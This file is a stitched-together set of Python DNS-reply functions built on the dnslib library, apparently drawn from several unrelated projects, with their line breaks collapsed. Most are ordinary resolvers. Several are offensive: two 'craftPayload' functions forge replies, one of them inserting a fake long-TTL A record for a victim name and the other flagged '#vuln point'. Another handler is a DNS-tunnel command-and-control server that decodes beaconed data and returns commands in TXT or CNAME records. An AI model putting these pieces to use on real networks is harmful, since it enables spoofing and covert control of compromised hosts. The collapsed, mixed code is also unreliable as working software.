def dns_handler(s, peer, data): request = DNSRecord.parse(data) id = request.header.id qname = request.q.qname qtype = request.q.qtype print "------ Request (%s): %r (%s)" % (str(peer), qname.label, QTYPE[qtype]) print request reply = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q) if qtype == QTYPE.A: reply.add_answer(RR(qname, qtype, rdata=A(IP))) if qtype == QTYPE.AAAA: reply.add_answer(RR(qname, qtype, rdata=AAAA(IPV6))) elif qtype == QTYPE['*']: reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP))) reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP))) reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(MSG))) else: reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(MSG))) print "------ Reply" print reply s.sendto(reply.pack(), peer)
def resolve(self, request, handler): assert isinstance(request, DNSRecord) reply = request.reply() qname = request.q.qname D = self.D if request.q.qtype == QTYPE.NS and qname.matchSuffix(D): reply.add_answer( RR(rname=qname, rtype=QTYPE.NS, ttl=NS_TTL, rdata=NS(D.add('ns')))) reply.add_ar( RR(D.add('ns'), QTYPE.A, ttl=self.ttl, rdata=A(self.ip))) # valid queries: data.data...data.9kw_api_key.operation.rest of domain elif request.q.qtype == QTYPE.CNAME\ and len(qname.label) >= (len(D.label) + 2)\ and qname.label[-(len(D.label) + 1)] in self.OPERATIONS\ and qname.label[-(len(D.label) + 2)] in self.allowed_keys: operation = qname.label[-(len(D.label) + 1)] api_key = qname.label[-(len(D.label) + 2)] data = qname.label[:-(len(D.label) + 2)] ret = self.OPERATIONS[operation](api_key, data) reply.add_answer(RR(qname, QTYPE.CNAME, ttl=0, rdata=CNAME(ret))) return reply
def craftPayload(self, msg): query = DNSRecord.parse(msg) response = query.reply() qname = query.q.qname vic_name = self.vic_name fakeip = self.fakeip if query.q.qtype == QTYPE.NS: print("[+] required NS record.") assert_ns = RR(qname, QTYPE.NS, ttl=60, rdata=NS("ns.%s" % qname)) response.add_answer(assert_ns) elif query.q.qtype == QTYPE.A: print("[+] required any A record.") cnamerr = RR(qname, QTYPE.CNAME, ttl=60, rdata=CNAME(vic_name)) fakea = RR(vic_name, QTYPE.A, ttl=86400, rdata=A(fakeip)) response.add_answer(cnamerr) response.add_answer(fakea) if response.__class__.__name__ == "DNSRecord": print("[!] Debug: print reply data") print("===============================") print(response) print("===============================") return response.pack() else: return None
def cnameRecursion(dHost): global tmpRes # used for overwriting previous recursion value tmpData = dbTest(dHost) # First: get CNAME of desired host cnameAddress = [i[1] for i in tmpData if i[0] == 'CNAME'] tmpRes = (dHost,tmpData) if cnameAddress: newAddr = checkMacro(queryType,cnameAddress[0],dHost,peer) reply.add_answer(RR(dHost, QTYPE.CNAME, rdata=CNAME(newAddr))) # Second: get desired QTYPE from desired host printOut(peer,QTYPE.CNAME,str(dHost),newAddr) cnameRecursion(newAddr) return tmpRes
def createCnameResponse(self, data, request): dataRawEnc = urlsafe_b64encode(data) dataEnc = str(dataRawEnc, "utf-8") self._LOGGING_ and self.logger.debug_all( f"[{self.name}] createCnameResponse() with sotp_data: {dataEnc}") rdomain = self.getDomainFromRequest(request.q.qname.idna()[:-1]) reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) reply.add_answer( RR(rname=request.q.qname, rtype=QTYPE.CNAME, rclass=CLASS.IN, ttl=self.ttl, rdata=CNAME(f"{dataEnc}.{rdomain}"))) return reply
def RecordFactory(qtype: str, data: str, logger: Any) -> Any: if qtype == "A": return A(data) elif qtype == "CNAME": return CNAME(data) elif qtype == "AAAA": return AAAA(data) elif qtype == "NS": return NS(data) elif qtype == "MX": pref, entry = data.split() print(pref, entry) return MX(preference=int(pref), label=entry) else: logger.error("not implemented query type")
def dns_handler(s, peer, data): request = DNSRecord.parse(data) id = request.header.id qname = request.q.qname qtype = request.q.qtype print "------ Request (%s): %r (%s)" % (str(peer), qname.label, QTYPE[qtype]) print "\n".join([" %s" % l for l in str(request).split("\n")]) print ', '.join(str(x) for x in request.ar) def get_ecs_option(req): for record in request.ar: if type(record) is RR: for opt in record.rdata: if type(opt) is EDNSOption: if opt.code == 8: return opt def ip_from_edns_subnet(req): opt = get_ecs_option(req) if opt is not None: data = opt.data[4:].ljust(4, '\0') data = socket.inet_ntoa(data) subnetlen = str(ord(opt.data[2])) print "Got ECS:", data, subnetlen return [data, data + "/" + subnetlen] return ["99.99.99.99", "0/0"] [IP, MSG] = ip_from_edns_subnet(request) reply = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q) if qtype == QTYPE.A: reply.add_answer(RR(qname, qtype, rdata=A(IP))) elif qtype == QTYPE.AAAA: reply.add_answer(RR(qname, qtype, rdata=AAAA(IPV6))) elif qtype == QTYPE['*']: reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP))) reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP))) reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(MSG))) else: reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(MSG))) reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(MSG))) print "------ Reply" print "\n".join([" %s" % l for l in str(reply).split("\n")]) s.sendto(reply.pack(), peer)
def handle(self, data, address): logging.info('receive data size=%r from %r', len(data), address) request = DNSRecord.parse(data) reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q) qname = request.q.qname qtype = request.q.qtype if qtype == QTYPE.A: reply.add_answer(RR(qname, qtype, rdata=A(IP))) elif qtype == QTYPE.AAAA: reply.add_answer(RR(qname, qtype, rdata=AAAA(IP))) elif qtype == QTYPE['*']: reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP))) reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP))) reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(TXT))) else: reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(TXT))) self.sendto(reply.pack(), address)
def read(self, sock, data): request = DNSRecord.parse(data) id = request.header.id qname = request.q.qname qtype = request.q.qtype print("------ Request (%s): %r (%s)" % (str(sock), qname.label, QTYPE[qtype])) reply = DNSRecord(DNSHeader(id=id, qr=1, aa=1, ra=1), q=request.q) if qtype == QTYPE.A: reply.add_answer(RR(qname, qtype, rdata=A(IP))) elif qtype == QTYPE['*']: reply.add_answer(RR(qname, QTYPE.A, rdata=A(IP))) reply.add_answer(RR(qname, QTYPE.MX, rdata=MX(IP))) reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(TXT))) else: reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(TXT))) return reply.pack()
def craftPayload(self, msg): query = DNSRecord.parse(msg) response = query.reply() qname = self.getQname(query) cnamerr = RR(qname, QTYPE.CNAME, ttl=60, rdata=CNAME("example.com.")) #vuln point. cnamerr.rclass = CLASS.CH response.add_answer(cnamerr) if response.__class__.__name__ == "DNSRecord": print("===============================") print(response) print("===============================") return response.pack() else: return None
def dns_handler(s, peer, data): global data_received command = pick_command() msg = "C" + base64.b32encode(command).replace("=", '') beacon = False request = DNSRecord.parse(data) id = request.header.id qname = request.q.qname qtype = request.q.qtype if qname.label[2] == TARGETED_DOMAIN: data = qname.label[0] if len(data) > 10: data = data[10:] if len(data) % 8 != 0: data = data + ("=" * (8 - len(data) % 8)) decoded_data = base64.b32decode(data) if len(decoded_data) == 4: if decoded_data == decoded_data.upper(): decoded_data = decoded_data + " [BEACON]" beacon = True if data_received != "": print "[+] Decoded Data Received: %s" % (data_received) data_received = "" else: data_received += decoded_data print "[+] Raw Data Received: %s" % qname.label[0] if beacon: print "[+] Sending Command: %s | Encoded: %s" % (command, msg) if not beacon: msg = "C" reply = DNSRecord(DNSHeader(id=id, qr=1, rd=1, ra=1), q=request.q) if qtype == QTYPE.TXT: reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(msg))) else: reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(msg))) s.sendto(reply.pack(), peer)
def handle(self, data, address): request = DNSRecord.parse(data) req_id = request.header.id query_name = request.q.qname query_type = request.q.qtype logger.debug('req-%s: [%s]%s', req_id, query_type, query_name) reply = DNSRecord(DNSHeader(id=req_id, qr=1, aa=1, ra=1), q=request.q) try: resp = self.session.get(self.resolver_addr + '/{}'.format(query_name).rstrip('.')) except ConnectionError as e: logger.error('connection error to %s: %s', self.resolver_addr, e) reply.header.rcode = RCODE.SERVFAIL else: if resp.status_code == 200: ip = resp.text logger.debug('resp-%s: %s', req_id, ip) if query_type == QTYPE.A: reply.add_answer(RR(query_name, query_type, rdata=A(ip))) elif query_type == QTYPE['*']: reply.add_answer(RR(query_name, QTYPE.A, rdata=A(ip))) reply.add_answer(RR(query_name, QTYPE.MX, rdata=MX(ip))) reply.add_answer(RR(query_name, QTYPE.TXT, rdata=TXT(TXT))) else: reply.add_answer( RR(query_name, QTYPE.CNAME, rdata=CNAME(TXT))) elif resp.status_code == 404: logger.debug('resp-%s: %s', req_id, 'nxdomain') reply.header.rcode = RCODE.NXDOMAIN else: logger.debug('resp-%s: %s', req_id, 'unknown error') reply.header.rcode = RCODE.SERVFAIL logger.error('unexpected response from server: [%d]%s', resp.status_code, resp.text) self.sendto(reply.pack(), address)
async def dns_response(self, data): try: request = DNSRecord.parse(data) IPs = [MX(D.mail), soa_record] + ns_records ipv4_count = 0 ipv6_count = 0 if request.q.qtype == 1: ipv4_count = 32 elif request.q.qtype == 28: ipv6_count = 32 elif request.q.qtype == 255: ipv4_count = 16 ipv6_count = 16 else: ipv4_count = 32 peers = await self.get_peers_to_respond(ipv4_count, ipv6_count) if len(peers) == 0: return None for peer in peers: ipv4 = True try: _ = ipaddress.IPv4Address(peer) except ValueError: ipv4 = False if ipv4: IPs.append(A(peer)) else: try: _ = ipaddress.IPv6Address(peer) except ValueError: continue IPs.append(AAAA(peer)) reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=len(IPs), ra=1), q=request.q) records = { D: IPs, D.ns1: [ A(IP) ], # MX and NS records must never point to a CNAME alias (RFC 2181 section 10.3) D.ns2: [A(IP)], D.mail: [A(IP)], D.andrei: [CNAME(D)], } qname = request.q.qname qn = str(qname) qtype = request.q.qtype qt = QTYPE[qtype] if qn == D or qn.endswith("." + D): for name, rrs in records.items(): if name == qn: for rdata in rrs: rqt = rdata.__class__.__name__ if qt in ["*", rqt ] or (qt == "ANY" and (rqt == "A" or rqt == "AAAA")): reply.add_answer( RR(rname=qname, rtype=getattr(QTYPE, rqt), rclass=1, ttl=TTL, rdata=rdata)) for rdata in ns_records: reply.add_ar( RR(rname=D, rtype=QTYPE.NS, rclass=1, ttl=TTL, rdata=rdata)) reply.add_auth( RR(rname=D, rtype=QTYPE.SOA, rclass=1, ttl=TTL, rdata=soa_record)) return reply.pack() except Exception as e: log.error(f"Exception: {e}. Traceback: {traceback.format_exc()}.")